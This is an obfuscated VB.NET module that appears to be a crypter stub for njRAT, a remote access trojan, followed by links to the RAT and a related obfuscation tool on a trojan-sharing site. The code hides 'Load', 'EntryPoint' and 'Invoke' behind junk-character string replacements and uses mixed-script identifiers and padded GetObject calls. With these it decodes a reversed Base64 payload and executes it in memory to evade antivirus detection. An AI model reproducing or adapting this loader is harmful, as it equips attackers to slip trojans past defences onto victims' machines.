Module Module1
    Public Function 吾开煙き私シうョキלトコギ(ByVal き As Byte())
        Dim 吾开煙き私シうョキלトコギ1 As Object = CallByName(System.Threading.Thread.GetDomain, "अоआ L.d अоआ".Replace("अоआ", "").Replace(" ", "").Replace(".", "oa"), CallType.Method, き)
        吾开煙き私シうョキלトコギ1 = CallByName(吾开煙き私シうョキלトコギ1, " E अоआ  n  अоआ t   अоआ r अоआ  y  P  अоआ  o   i  अоआ  n   t  अоआ  ".Replace(" ", "").Replace("अоआ", ""), CallType.Get)
        吾开煙き私シうョキלトコギ1 = GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(CallByName(吾开煙き私シうョキלトコギ1, " バאדקש  Ise バאדקש  ".Replace(" ", "").Replace("バאדקש", "").Replace("s", "nvd").Replace("d", "ok"), CallType.Method, 3748488383839 + 873727272 - 783838 * 0, Nothing)))))))))))))))))
        Return GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(吾开煙き私シうョキלトコギ1))))))))))))))))

    End Function

    Sub Main()

        Dim 吾开煙き私シうョキלトコギぎこコきトトたきしワウタキキキしトפפגअрपд्अएбвपचиדךרחדפ As Byte() = Convert.FromBase64String(StrReverse("Base64Reversed"))
        GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(GetObject(吾开煙き私シうョキלトコギ(吾开煙き私シうョキלトコギぎこコきトトたきしワウタキキキしトפפגअрपд्अएбвपचиדךרחדפ)))))))))))))))))



    End Sub
End Module

--------------------------------------------------------------------

njRAT v0.7d By njq8
http://www.connect-trojan.net/2013/12/njrat-v0.7d-by-njq8.html

Algorithm Converter And Split By R4Jaw! & R!ad v3:
http://www.connect-trojan.net/2016/03/algorithm-converter-and-split-v3-by-r4jaw-and-riad.html